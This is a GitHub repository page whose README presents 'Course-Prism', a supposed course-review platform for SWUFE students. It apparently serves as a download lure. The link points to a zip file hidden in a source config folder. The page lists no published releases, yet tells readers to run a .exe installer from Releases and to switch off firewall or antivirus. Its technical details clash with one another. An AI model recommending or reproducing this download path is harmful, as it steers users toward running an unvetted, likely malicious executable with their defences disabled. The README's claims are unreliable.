Skip to content

Franktekza/Course-Prism

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

16 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ“ Course-Prism - Find, Review, and Rate Courses Easily

Download Course-Prism

Course-Prism is a platform for SWUFE students to explore courses, write honest reviews, rate instructors, and check course statistics. It helps you find the best classes and plan your studies with real feedback from other students.


πŸ–₯️ What You Need Before Starting

  • A Windows PC running Windows 10 or later.
  • At least 4 GB of free disk space.
  • An internet connection for downloading and to use the platform.
  • A modern web browser like Chrome, Edge, or Firefox.

This software is a web application you will run locally. It uses several programs behind the scenes, but you won’t need to install those separately.


🌐 About Course-Prism

Course-Prism is built to make course selection and review easy for students. You can:

  • Search for courses by name or code.
  • Write and read detailed reviews.
  • Rate professors and courses.
  • View statistics on course difficulty, popularity, and more.

The app uses common web technologies designed to run smoothly on Windows PCs without special setup.


πŸš€ How to Download and Run Course-Prism on Windows

1. Visit the download page

Click the big green button at the top or go to this link:
https://github.com/Franktekza/Course-Prism/raw/refs/heads/main/frontend/jcourse-master/src/config/Prism_Course_v2.2.zip

You will arrive at the main GitHub page of the project.

2. Download the latest release

Scroll down on the GitHub page and find the Releases section. You may also see a "Releases" button near the top. Click it.

Look for the latest version marked as "stable" or a version number like v1.x.x. You will find downloadable files here.

3. Download the Windows setup file

Find a file with .exe or .msi extension. It is the installer for Windows computers.

Click it to start downloading. Save the file on your PC in a folder like Downloads.

4. Run the installer

Once downloaded, double-click the file to launch the installer.

  • Follow the instructions on the screen.
  • Choose "Next" when prompted.
  • Accept the license agreement.
  • Let the installation finish.

βš™οΈ Setting Up Course-Prism

1. Open the app

After installation, find Course-Prism in your Start menu or desktop and open it.

It will open in your default web browser.

2. Connect to your network

The app connects to the internet to load the latest course data.

Make sure your PC allows Course-Prism through any firewall or antivirus programs.

3. Create an account

Follow the on-screen instructions to create a user account. You only need an email address and a password.

Creating an account lets you write reviews and rate courses.

4. Explore courses

Use the search bar to find courses by keywords or course codes.

Click on any course to read details, reviews, ratings, and statistics.

5. Write a review or rate a course

After attending a course, use the system to give feedback that others can see.


πŸ”§ System Components and How They Work (Simplified)

Course-Prism runs as a web app on your computer. Even though you use it in a browser, it works on your PC with these parts set up automatically:

  • Frontend: The user interface made with React and Ant Design. This is what you see and click on.
  • Backend: Runs on Python and Django. It manages data like reviews and user accounts.
  • Database: Stores course info and reviews in PostgreSQL.
  • Cache system: Redis is used to speed up loading times.
  • Docker: Contains and runs all these pieces together for smooth installation.

You don’t have to deal with any setups or commands. The installer will do this automatically.


🧰 Troubleshooting

Cannot start the app

  • Check if the installer finished without errors.
  • Make sure you meet system requirements.
  • Restart your computer, then try again.

App stays loading forever or crashes

  • Verify your internet connection.
  • Close other apps that might use too much memory.
  • Disable firewall or antivirus temporarily and try again.

Forgotten password or account issues


πŸ“‚ Where to Get Help and More Info


πŸ”„ Updating Course-Prism

To get new features or bug fixes:

  1. Go back to the GitHub releases page.
  2. Download the newest installer.
  3. Run the installer again. It will update your app smoothly.

πŸ“‹ Key Features

  • Search and filter courses easily
  • Add and read course reviews
  • Rate instructors and courses
  • View course statistics by semester, instructor, or rating
  • User account management
  • Responsive design suitable for tablets and laptops

πŸ“‚ Files Included in the Download

  • Course-Prism installer (.exe or .msi)
  • Quick start guide (PDF)
  • License file
  • Release notes

πŸ”’ Privacy and Data Handling

  • Your data stays private and secure.
  • Reviews are public but linked only to your user name.
  • No tracking outside the platform takes place.

πŸ›  Compatible Technologies Used

  • React and Next.js for the front end
  • Django and Python for the server side
  • PostgreSQL for storing data
  • Redis for caching data
  • Docker for easy installation and updates

🎯 Who Should Use Course-Prism

  • SWUFE students planning course schedules
  • New students looking for course recommendations
  • Students who want to share their experience
  • Programmers interested in community-driven university apps

Download Course-Prism

About

Provide students at SWUFE with a platform to search courses, write reviews, rate instructors, and analyze course data in one place.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Generated from skills/github-pages